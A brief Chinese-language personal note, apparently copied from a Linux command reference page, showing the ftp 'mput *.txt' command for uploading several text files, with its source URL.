ftp> mput *.txt # 可以上传多个文件

内容来自【https://wangchujiang.com/linux-command/c/ssh.html】

整理为笔记以记之